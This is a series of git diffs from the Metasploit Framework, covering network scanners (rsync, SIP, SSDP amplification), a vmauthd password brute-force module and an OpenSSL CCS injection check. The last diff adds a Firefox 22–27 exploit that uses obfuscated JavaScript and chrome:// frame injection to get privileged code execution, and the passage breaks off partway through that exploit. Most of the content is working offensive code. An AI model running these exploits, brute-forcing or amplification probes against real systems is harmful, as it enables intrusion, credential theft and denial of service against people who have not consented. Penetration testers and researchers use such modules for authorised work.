||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(873)
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
connect
|
||||||
|
version = sock.get_once
|
||||||
|
|
||||||
|
print_good("#{ip}:#{rport} - rsync #{version.strip} found")
|
||||||
|
report_service(:host => ip, :port => rport, :proto => 'tcp', :name => 'rsync')
|
||||||
|
report_note(
|
||||||
|
:host => ip,
|
||||||
|
:proto => 'tcp',
|
||||||
|
:port => rport,
|
||||||
|
:type => 'rsync_version',
|
||||||
|
:data => version.strip
|
||||||
|
)
|
||||||
|
|
||||||
|
# making sure we match the version of the server
|
||||||
|
sock.puts("#{version}")
|
||||||
|
# the listing command
|
||||||
|
sock.puts("\n")
|
||||||
|
listing = sock.get(20)
|
||||||
|
disconnect
|
||||||
|
|
||||||
|
return if listing.blank?
|
||||||
|
|
||||||
|
print_good("#{ip}:#{rport} - rsync listing found")
|
||||||
|
listing.gsub!('@RSYNCD: EXIT', '') # not interested in EXIT message
|
||||||
|
listing_sanitized = Rex::Text.to_hex_ascii(listing.strip)
|
||||||
|
|
||||||
|
vprint_status("#{ip}:#{rport} - #{version.rstrip} #{listing_sanitized}")
|
||||||
|
report_note(
|
||||||
|
:host => ip,
|
||||||
|
:proto => 'tcp',
|
||||||
|
:port => rport,
|
||||||
|
:type => 'rsync_listing',
|
||||||
|
:data => listing_sanitized
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
|
@ -3,14 +3,13 @@
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
##
|
##
|
||||||
|
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Auxiliary
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
include Msf::Exploit::Remote::Udp
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
include Msf::Auxiliary::Scanner
|
include Msf::Auxiliary::UDPScanner
|
||||||
|
include Msf::Exploit::Remote::SIP
|
||||||
|
|
||||||
def initialize
|
def initialize
|
||||||
super(
|
super(
|
||||||
|
@ -22,139 +21,21 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]),
|
OptString.new('TO', [false, 'The destination username to probe at each host', 'nobody']),
|
||||||
OptString.new('TO', [ false, "The destination username to probe at each host", "nobody"]),
|
Opt::RPORT(5060)
|
||||||
Opt::RPORT(5060),
|
|
||||||
Opt::CHOST,
|
|
||||||
Opt::CPORT(5060)
|
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def scanner_prescan(batch)
|
||||||
# Define our batch size
|
print_status("Sending SIP UDP OPTIONS requests to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
|
||||||
def run_batch_size
|
@res = {}
|
||||||
datastore['BATCHSIZE'].to_i
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Operate on an entire batch of hosts at once
|
def scan_host(ip)
|
||||||
def run_batch(batch)
|
scanner_send(create_probe(ip, 'udp'), ip, datastore['RPORT'])
|
||||||
|
|
||||||
begin
|
|
||||||
udp_sock = nil
|
|
||||||
idx = 0
|
|
||||||
|
|
||||||
# Create an unbound UDP socket if no CHOST is specified, otherwise
|
|
||||||
# create a UDP socket bound to CHOST (in order to avail of pivoting)
|
|
||||||
udp_sock = Rex::Socket::Udp.create(
|
|
||||||
{
|
|
||||||
'LocalHost' => datastore['CHOST'] || nil,
|
|
||||||
'LocalPort' => datastore['CPORT'].to_i,
|
|
||||||
'Context' => {'Msf' => framework, 'MsfExploit' => self}
|
|
||||||
}
|
|
||||||
)
|
|
||||||
add_socket(udp_sock)
|
|
||||||
|
|
||||||
batch.each do |ip|
|
|
||||||
data = create_probe(ip)
|
|
||||||
|
|
||||||
begin
|
|
||||||
udp_sock.sendto(data, ip, datastore['RPORT'].to_i, 0)
|
|
||||||
rescue ::Interrupt
|
|
||||||
raise $!
|
|
||||||
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
|
|
||||||
nil
|
|
||||||
end
|
|
||||||
|
|
||||||
if (idx % 10 == 0)
|
|
||||||
while (r = udp_sock.recvfrom(65535, 0.01) and r[1])
|
|
||||||
parse_reply(r)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
idx += 1
|
|
||||||
end
|
|
||||||
|
|
||||||
while (r = udp_sock.recvfrom(65535, 3) and r[1])
|
|
||||||
parse_reply(r)
|
|
||||||
end
|
|
||||||
|
|
||||||
rescue ::Interrupt
|
|
||||||
raise $!
|
|
||||||
rescue ::Exception => e
|
|
||||||
print_error("Unknown error: #{e.class} #{e}")
|
|
||||||
ensure
|
|
||||||
udp_sock.close if udp_sock
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
def scanner_process(data, shost, _)
|
||||||
# The response parsers
|
report_response(data, shost, 'udp')
|
||||||
#
|
|
||||||
def parse_reply(pkt)
|
|
||||||
|
|
||||||
return if not pkt[1]
|
|
||||||
|
|
||||||
if(pkt[1] =~ /^::ffff:/)
|
|
||||||
pkt[1] = pkt[1].sub(/^::ffff:/, '')
|
|
||||||
end
|
|
||||||
|
|
||||||
resp = pkt[0].split(/\s+/)[1]
|
|
||||||
agent = ''
|
|
||||||
verbs = ''
|
|
||||||
serv = ''
|
|
||||||
prox = ''
|
|
||||||
|
|
||||||
if(pkt[0] =~ /^User-Agent:\s*(.*)$/i)
|
|
||||||
agent = "agent='#{$1.strip}' "
|
|
||||||
end
|
|
||||||
|
|
||||||
if(pkt[0] =~ /^Allow:\s+(.*)$/i)
|
|
||||||
verbs = "verbs='#{$1.strip}' "
|
|
||||||
end
|
|
||||||
|
|
||||||
if(pkt[0] =~ /^Server:\s+(.*)$/)
|
|
||||||
serv = "server='#{$1.strip}' "
|
|
||||||
end
|
|
||||||
|
|
||||||
if(pkt[0] =~ /^Proxy-Require:\s+(.*)$/)
|
|
||||||
serv = "proxy-required='#{$1.strip}' "
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status("#{pkt[1]} #{resp} #{agent}#{serv}#{prox}#{verbs}")
|
|
||||||
|
|
||||||
report_service(
|
|
||||||
:host => pkt[1],
|
|
||||||
:port => pkt[2],
|
|
||||||
:proto => 'udp',
|
|
||||||
:name => 'sip'
|
|
||||||
)
|
|
||||||
|
|
||||||
if(not agent.empty?)
|
|
||||||
report_note(
|
|
||||||
:host => pkt[1],
|
|
||||||
:type => 'sip_useragent',
|
|
||||||
:data => agent
|
|
||||||
)
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def create_probe(ip)
|
|
||||||
suser = Rex::Text.rand_text_alphanumeric(rand(8)+1)
|
|
||||||
shost = Rex::Socket.source_address(ip)
|
|
||||||
src = "#{shost}:#{datastore['CPORT']}"
|
|
||||||
|
|
||||||
data = "OPTIONS sip:#{datastore['TO']}@#{ip} SIP/2.0\r\n"
|
|
||||||
data << "Via: SIP/2.0/UDP #{src};branch=z9hG4bK.#{"%.8x" % rand(0x100000000)};rport;alias\r\n"
|
|
||||||
data << "From: sip:#{suser}@#{src};tag=70c00e8c\r\n"
|
|
||||||
data << "To: sip:#{datastore['TO']}@#{ip}\r\n"
|
|
||||||
data << "Call-ID: #{rand(0x100000000)}@#{shost}\r\n"
|
|
||||||
data << "CSeq: 1 OPTIONS\r\n"
|
|
||||||
data << "Contact: sip:#{suser}@#{src}\r\n"
|
|
||||||
data << "Content-Length: 0\r\n"
|
|
||||||
data << "Max-Forwards: 20\r\n"
|
|
||||||
data << "User-Agent: #{suser}\r\n"
|
|
||||||
data << "Accept: text/plain\r\n"
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -6,10 +6,10 @@
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Auxiliary
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
include Msf::Exploit::Remote::Tcp
|
include Msf::Exploit::Remote::Tcp
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
include Msf::Auxiliary::Scanner
|
include Msf::Auxiliary::Scanner
|
||||||
|
include Msf::Exploit::Remote::SIP
|
||||||
|
|
||||||
def initialize
|
def initialize
|
||||||
super(
|
super(
|
||||||
|
@ -21,94 +21,22 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]),
|
OptString.new('TO', [false, 'The destination username to probe at each host', 'nobody']),
|
||||||
OptString.new('TO', [ false, "The destination username to probe at each host", "nobody"]),
|
|
||||||
Opt::RPORT(5060)
|
Opt::RPORT(5060)
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
# Operate on a single system at a time
|
# Operate on a single system at a time
|
||||||
def run_host(ip)
|
def run_host(ip)
|
||||||
|
|
||||||
begin
|
begin
|
||||||
idx = 0
|
|
||||||
|
|
||||||
connect
|
connect
|
||||||
sock.put(create_probe(ip))
|
sock.put(create_probe(ip, 'tcp'))
|
||||||
res = sock.get_once(-1, 5)
|
res = sock.get_once(-1, 5)
|
||||||
parse_reply(res) if res
|
report_response(res, rhost, 'tcp') if res
|
||||||
|
|
||||||
rescue ::Interrupt
|
rescue ::Interrupt
|
||||||
raise $!
|
raise $ERROR_INFO
|
||||||
ensure
|
ensure
|
||||||
disconnect
|
disconnect
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# The response parser
|
|
||||||
#
|
|
||||||
def parse_reply(resp)
|
|
||||||
|
|
||||||
rcode = resp.split(/\s+/)[0]
|
|
||||||
agent = ''
|
|
||||||
verbs = ''
|
|
||||||
serv = ''
|
|
||||||
prox = ''
|
|
||||||
|
|
||||||
if(resp =~ /^User-Agent:\s*(.*)$/i)
|
|
||||||
agent = "agent='#{$1.strip}' "
|
|
||||||
end
|
|
||||||
|
|
||||||
if(resp =~ /^Allow:\s+(.*)$/i)
|
|
||||||
verbs = "verbs='#{$1.strip}' "
|
|
||||||
end
|
|
||||||
|
|
||||||
if(resp =~ /^Server:\s+(.*)$/)
|
|
||||||
serv = "server='#{$1.strip}' "
|
|
||||||
end
|
|
||||||
|
|
||||||
if(resp =~ /^Proxy-Require:\s+(.*)$/)
|
|
||||||
serv = "proxy-required='#{$1.strip}' "
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status("#{rhost} #{rcode} #{agent}#{serv}#{prox}#{verbs}")
|
|
||||||
|
|
||||||
report_service(
|
|
||||||
:host => rhost,
|
|
||||||
:port => rport,
|
|
||||||
:proto => 'tcp',
|
|
||||||
:name => 'sip'
|
|
||||||
)
|
|
||||||
|
|
||||||
if(not agent.empty?)
|
|
||||||
report_note(
|
|
||||||
:host => rhost,
|
|
||||||
:type => 'sip_useragent',
|
|
||||||
:data => agent
|
|
||||||
)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def create_probe(ip)
|
|
||||||
suser = Rex::Text.rand_text_alphanumeric(rand(8)+1)
|
|
||||||
shost = Rex::Socket.source_address(ip)
|
|
||||||
src = "#{shost}:#{datastore['RPORT']}"
|
|
||||||
|
|
||||||
data = "OPTIONS sip:#{datastore['TO']}@#{ip} SIP/2.0\r\n"
|
|
||||||
data << "Via: SIP/2.0/TCP #{src};branch=z9hG4bK.#{"%.8x" % rand(0x100000000)};rport;alias\r\n"
|
|
||||||
data << "From: sip:#{suser}@#{src};tag=70c00e8c\r\n"
|
|
||||||
data << "To: sip:#{datastore['TO']}@#{ip}\r\n"
|
|
||||||
data << "Call-ID: #{rand(0x100000000)}@#{shost}\r\n"
|
|
||||||
data << "CSeq: 1 OPTIONS\r\n"
|
|
||||||
data << "Contact: sip:#{suser}@#{src}\r\n"
|
|
||||||
data << "Max-Forwards: 20\r\n"
|
|
||||||
data << "User-Agent: #{suser}\r\n"
|
|
||||||
data << "Accept: text/plain\r\n"
|
|
||||||
data << "Content-Length: 0\r\n"
|
|
||||||
data << "\r\n"
|
|
||||||
data
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -79,9 +79,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
super(
|
super(
|
||||||
'Name' => 'OpenSSL Server-Side ChangeCipherSpec Injection Scanner',
|
'Name' => 'OpenSSL Server-Side ChangeCipherSpec Injection Scanner',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module checks for the OpenSSL ChageCipherSpec (CCS)
|
This module checks for the OpenSSL ChangeCipherSpec (CCS)
|
||||||
Injection vulnerability. The problem exists in the handling of early
|
Injection vulnerability. The problem exists in the handling of early
|
||||||
CCS messages during session negotation. Vulnerable installations of OpenSSL accepts
|
CCS messages during session negotiation. Vulnerable installations of OpenSSL accepts
|
||||||
them, while later implementations do not. If successful, an attacker can leverage this
|
them, while later implementations do not. If successful, an attacker can leverage this
|
||||||
vulnerability to perform a man-in-the-middle (MITM) attack by downgrading the cipher spec
|
vulnerability to perform a man-in-the-middle (MITM) attack by downgrading the cipher spec
|
||||||
between a client and server. This issue was first reported in early June, 2014.
|
between a client and server. This issue was first reported in early June, 2014.
|
||||||
|
@ -131,7 +131,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
sock.put(ccs)
|
sock.put(ccs)
|
||||||
alert = sock.get_once(-1, response_timeout)
|
alert = sock.get_once(-1, response_timeout)
|
||||||
if alert.blank?
|
if alert.blank?
|
||||||
print_good("#{peer} - No alert after invalid CSS message, probably vulnerable")
|
print_good("#{peer} - No alert after invalid CCS message, probably vulnerable")
|
||||||
report
|
report
|
||||||
elsif alert.unpack("C").first == ALERT_RECORD_TYPE
|
elsif alert.unpack("C").first == ALERT_RECORD_TYPE
|
||||||
vprint_error("#{peer} - Alert record as response to the invalid CCS Message, probably not vulnerable")
|
vprint_error("#{peer} - Alert record as response to the invalid CCS Message, probably not vulnerable")
|
||||||
|
|
|
@ -0,0 +1,88 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http//metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Auxiliary::UDPScanner
|
||||||
|
include Msf::Auxiliary::DRDoS
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'SSDP ssdp:all M-SEARCH Amplification Scanner',
|
||||||
|
'Description' => 'Discover SSDP amplification possibilities',
|
||||||
|
'Author' => ['xistence <xistence[at]0x90.nl>'], # Original scanner module
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-017A']
|
||||||
|
],
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
Opt::RPORT(1900),
|
||||||
|
OptBool.new('SHORT', [ false, "Does a shorter request, for a higher amplifier, not compatible with all devices", false])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def setup
|
||||||
|
super
|
||||||
|
# SSDP packet containing the "ST:ssdp:all" search query
|
||||||
|
if datastore['short']
|
||||||
|
# Short packet doesn't contain Host, MX and last \r\n
|
||||||
|
@msearch_probe = "M-SEARCH * HTTP/1.1\r\nST: ssdp:all\r\nMan: \"ssdp:discover\"\r\n"
|
||||||
|
else
|
||||||
|
@msearch_probe = "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255.250:1900\r\nST: ssdp:all\r\nMan: \"ssdp:discover\"\r\nMX: 1\r\n\r\n"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def scanner_prescan(batch)
|
||||||
|
print_status("Sending SSDP ssdp:all M-SEARCH probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
|
||||||
|
@results = {}
|
||||||
|
end
|
||||||
|
|
||||||
|
def scan_host(ip)
|
||||||
|
scanner_send(@msearch_probe, ip, datastore['RPORT'])
|
||||||
|
end
|
||||||
|
|
||||||
|
def scanner_process(data, shost, sport)
|
||||||
|
if data =~ /HTTP\/\d\.\d 200/
|
||||||
|
@results[shost] ||= []
|
||||||
|
@results[shost] << data
|
||||||
|
else
|
||||||
|
vprint_error("Skipping #{data.size}-byte non-SSDP response from #{shost}:#{sport}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Called after the scan block
|
||||||
|
def scanner_postscan(batch)
|
||||||
|
@results.keys.each do |k|
|
||||||
|
response_map = { @msearch_probe => @results[k] }
|
||||||
|
report_service(
|
||||||
|
host: k,
|
||||||
|
proto: 'udp',
|
||||||
|
port: datastore['RPORT'],
|
||||||
|
name: 'ssdp'
|
||||||
|
)
|
||||||
|
|
||||||
|
peer = "#{k}:#{datastore['RPORT']}"
|
||||||
|
vulnerable, proof = prove_amplification(response_map)
|
||||||
|
what = 'SSDP ssdp:all M-SEARCH amplification'
|
||||||
|
if vulnerable
|
||||||
|
print_good("#{peer} - Vulnerable to #{what}: #{proof}")
|
||||||
|
report_vuln(
|
||||||
|
host: k,
|
||||||
|
port: datastore['RPORT'],
|
||||||
|
proto: 'udp',
|
||||||
|
name: what,
|
||||||
|
refs: self.references
|
||||||
|
)
|
||||||
|
else
|
||||||
|
vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -4,6 +4,8 @@
|
||||||
##
|
##
|
||||||
|
|
||||||
require 'msf/core/exploit/tcp'
|
require 'msf/core/exploit/tcp'
|
||||||
|
require 'metasploit/framework/credential_collection'
|
||||||
|
require 'metasploit/framework/login_scanner/vmauthd'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Auxiliary
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
@ -33,103 +35,67 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
def run_host(ip)
|
def run_host(ip)
|
||||||
|
print_brute :ip => ip, :msg => 'Starting bruteforce'
|
||||||
|
|
||||||
|
# Peform a sanity check to ensure that our target is vmauthd before
|
||||||
|
# attempting to brute force it.
|
||||||
begin
|
begin
|
||||||
|
connect rescue nil
|
||||||
connect rescue nil
|
if !self.sock
|
||||||
if not self.sock
|
print_brute :level => :verror, :ip => ip, :msg => 'Could not connect'
|
||||||
print_error "#{rhost}:#{rport} Could not connect to vmauthd"
|
return
|
||||||
return
|
end
|
||||||
end
|
banner = sock.get_once(-1, 10)
|
||||||
|
if !banner || !banner =~ /^220 VMware Authentication Daemon Version.*/
|
||||||
banner = sock.get_once(-1, 10)
|
print_brute :level => :verror, :ip => ip, :msg => 'Target does not appear to be a vmauthd service'
|
||||||
if not banner
|
return
|
||||||
print_error "#{rhost}:#{rport} No banner received from vmauthd"
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
banner = banner.strip
|
|
||||||
print_status "#{rhost}:#{rport} Banner: #{banner}"
|
|
||||||
|
|
||||||
unless banner =~ /VMware Authentication Daemon/
|
|
||||||
print_error "#{rhost}:#{rport} This does not appear to be a vmauthd service"
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
if banner =~ /SSL/
|
|
||||||
print_status("#{rhost}:#{rport} Switching to SSL connection...")
|
|
||||||
swap_sock_plain_to_ssl
|
|
||||||
end
|
|
||||||
|
|
||||||
each_user_pass do |user, pass|
|
|
||||||
result = do_login(user, pass)
|
|
||||||
case result
|
|
||||||
when :failed
|
|
||||||
print_error("#{rhost}:#{rport} vmauthd login FAILED - #{user}:#{pass}")
|
|
||||||
when :success
|
|
||||||
print_good("#{rhost}:#{rport} vmauthd login SUCCESS - #{user}:#{pass}")
|
|
||||||
report_auth_info(
|
|
||||||
:host => rhost,
|
|
||||||
:port => rport,
|
|
||||||
:sname => 'vmauthd',
|
|
||||||
:user => user,
|
|
||||||
:pass => pass,
|
|
||||||
:source_type => "user_supplied",
|
|
||||||
:active => true
|
|
||||||
)
|
|
||||||
return if datastore['STOP_ON_SUCCESS']
|
|
||||||
else
|
|
||||||
print_error("#{rhost}:#{rport} Error: #{result}")
|
|
||||||
end
|
end
|
||||||
end
|
|
||||||
|
|
||||||
rescue ::Interrupt
|
rescue ::Interrupt
|
||||||
raise $!
|
raise $ERROR_INFO
|
||||||
ensure
|
ensure
|
||||||
disconnect
|
disconnect
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||||
|
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||||
|
pass_file: datastore['PASS_FILE'],
|
||||||
|
password: datastore['PASSWORD'],
|
||||||
|
user_file: datastore['USER_FILE'],
|
||||||
|
userpass_file: datastore['USERPASS_FILE'],
|
||||||
|
username: datastore['USERNAME'],
|
||||||
|
user_as_pass: datastore['USER_AS_PASS']
|
||||||
|
)
|
||||||
|
scanner = Metasploit::Framework::LoginScanner::VMAUTHD.new(
|
||||||
|
host: ip,
|
||||||
|
port: rport,
|
||||||
|
proxies: datastore['PROXIES'],
|
||||||
|
cred_details: cred_collection,
|
||||||
|
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||||
|
connection_timeout: 30
|
||||||
|
)
|
||||||
|
|
||||||
def do_login(user, pass, nsock=self.sock)
|
scanner.scan! do |result|
|
||||||
nsock.put("USER #{user}\r\n")
|
credential_data = result.to_h
|
||||||
res = nsock.get_once
|
credential_data.merge!(
|
||||||
unless res.start_with? "331"
|
module_fullname: self.fullname,
|
||||||
ret_msg = "Unexpected reply to the USER command: #{res}"
|
workspace_id: myworkspace_id
|
||||||
return ret_msg
|
)
|
||||||
end
|
case result.status
|
||||||
nsock.put("PASS #{pass}\r\n")
|
when Metasploit::Model::Login::Status::SUCCESSFUL
|
||||||
res = nsock.get_once || ''
|
print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}' '#{result.proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'"
|
||||||
if res.start_with? "530"
|
credential_core = create_credential(credential_data)
|
||||||
return :failed
|
credential_data[:core] = credential_core
|
||||||
elsif res.start_with? "230"
|
create_credential_login(credential_data)
|
||||||
return :success
|
:next_user
|
||||||
else
|
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||||
ret_msg = "Unexpected reply to the PASS command: #{res}"
|
print_brute :level => :verror, :ip => ip, :msg => 'Could not connect'
|
||||||
return ret_msg
|
invalidate_login(credential_data)
|
||||||
|
:abort
|
||||||
|
when Metasploit::Model::Login::Status::INCORRECT
|
||||||
|
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}' #{result.proof}"
|
||||||
|
invalidate_login(credential_data)
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def swap_sock_plain_to_ssl(nsock=self.sock)
|
|
||||||
ctx = generate_ssl_context()
|
|
||||||
ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx)
|
|
||||||
|
|
||||||
ssl.connect
|
|
||||||
|
|
||||||
nsock.extend(Rex::Socket::SslTcp)
|
|
||||||
nsock.sslsock = ssl
|
|
||||||
nsock.sslctx = ctx
|
|
||||||
end
|
|
||||||
|
|
||||||
def generate_ssl_context
|
|
||||||
ctx = OpenSSL::SSL::SSLContext.new(:SSLv3)
|
|
||||||
@@cached_rsa_key ||= OpenSSL::PKey::RSA.new(1024){ }
|
|
||||||
|
|
||||||
ctx.key = @@cached_rsa_key
|
|
||||||
|
|
||||||
ctx.session_id_context = Rex::Text.rand_text(16)
|
|
||||||
|
|
||||||
return ctx
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -37,8 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'DisclosureDate' => "May 14 2013",
|
'DisclosureDate' => "May 14 2013",
|
||||||
'References' => [
|
'References' => [
|
||||||
['CVE', '2013-1670'], # privileged access for content-level constructor
|
['CVE', '2013-1710'] # chrome injection
|
||||||
['CVE', '2013-1710'] # further chrome injection
|
|
||||||
],
|
],
|
||||||
'Targets' => [
|
'Targets' => [
|
||||||
[
|
[
|
||||||
|
|
|
@ -0,0 +1,151 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http//metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rex/exploitation/jsobfu'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::BrowserExploitServer
|
||||||
|
include Msf::Exploit::Remote::BrowserAutopwn
|
||||||
|
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
|
||||||
|
|
||||||
|
autopwn_info({
|
||||||
|
:ua_name => HttpClients::FF,
|
||||||
|
:ua_maxver => "22.0",
|
||||||
|
:ua_maxver => "27.0",
|
||||||
|
:javascript => true,
|
||||||
|
:rank => ExcellentRanking
|
||||||
|
})
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Firefox WebIDL Privileged Javascript Injection',
|
||||||
|
'Description' => %q{
|
||||||
|
This exploit gains remote code execution on Firefox 22-27 by abusing two
|
||||||
|
separate privilege escalation vulnerabilities in Firefox's Javascript
|
||||||
|
APIs.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [
|
||||||
|
'Marius Mlynski', # discovery and pwn2own exploit
|
||||||
|
'joev' # metasploit module
|
||||||
|
],
|
||||||
|
'DisclosureDate' => "Mar 17 2014",
|
||||||
|
'References' => [
|
||||||
|
['CVE', '2014-1510'], # open chrome:// url in iframe
|
||||||
|
['CVE', '2014-1511'] # bypass popup blocker to load bare ChromeWindow
|
||||||
|
],
|
||||||
|
'Targets' => [
|
||||||
|
[
|
||||||
|
'Universal (Javascript XPCOM Shell)', {
|
||||||
|
'Platform' => 'firefox',
|
||||||
|
'Arch' => ARCH_FIREFOX
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[
|
||||||
|
'Native Payload', {
|
||||||
|
'Platform' => %w{ java linux osx solaris win },
|
||||||
|
'Arch' => ARCH_ALL
|
||||||
|
}
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'BrowserRequirements' => {
|
||||||
|
:source => 'script',
|
||||||
|
:ua_name => HttpClients::FF,
|
||||||
|
:ua_ver => lambda { |ver| ver.to_i.between?(22, 27) }
|
||||||
|
}
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_request_exploit(cli, request, target_info)
|
||||||
|
send_response_html(cli, generate_html(target_info))
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_html(target_info)
|
||||||
|
key = Rex::Text.rand_text_alpha(5 + rand(12))
|
||||||
|
frame = Rex::Text.rand_text_alpha(5 + rand(12))
|
||||||
|
r = Rex::Text.rand_text_alpha(5 + rand(12))
|
||||||
|
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
|
||||||
|
data_uri = "data:text/html,<script>c = new mozRTCPeerConnection;c.createOffer(function()"+
|
||||||
|
"{},function(){top.vvv=window.open('chrome://browser/content/browser.xul', "+
|
||||||
|
"'#{r}', 'chrome,top=-9999px,left=-9999px,height=100px,width=100px');})<\/script>"
|
||||||
|
|
||||||
|
js = Rex::Exploitation::JSObfu.new(%Q|
|
||||||
|
var opts = #{JSON.unparse(opts)};
|
||||||
|
var key = opts['#{key}'];
|
||||||
|
|
||||||
|
// Load the chrome-privileged browser XUL script into an iframe
|
||||||
|
var c = new mozRTCPeerConnection;
|
||||||
|
c.createOffer(function(){},function(){
|
||||||
|
window.open('chrome://browser/content/browser.xul', '#{frame}');
|
||||||
|
step1();
|
||||||
|
});
|
||||||
|
|
||||||
|
// Inject a data: URI into an internal frame inside of the browser
|
||||||
|
// XUL script to pop open a new window with the chrome flag to prevent
|
||||||
|
// the new window from being wrapped with browser XUL;
|
||||||
|
function step1() {
|
||||||
|
var clear = setInterval(function(){
|
||||||
|
|
||||||
|
// throws until frames[0].frames[2] is available (when chrome:// iframe loads)
|
||||||
|
frames[0].frames[2].location;
|
||||||
|
|
||||||
|
// we base64 this to avoid the script tag screwing up things when obfuscated
|
||||||
|
frames[0].frames[2].location=window.atob('#{Rex::Text.encode_base64(data_uri)}');
|
||||||
|
clearInterval(clear);
|
||||||
|
setTimeout(step2, 100);
|
||||||
|
},10);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Step 2: load the chrome-level window up with a data URI, which
|
||||||
|
// gives us same-origin. Make sure to load an "<iframe mozBrowser>"
|
||||||
|
// into the frame, since that will respond to our messageManager
|
||||||
|
// (this is important later)
|
||||||
|
function step2() {
|
||||||
|
var clear = setInterval(function(){
|
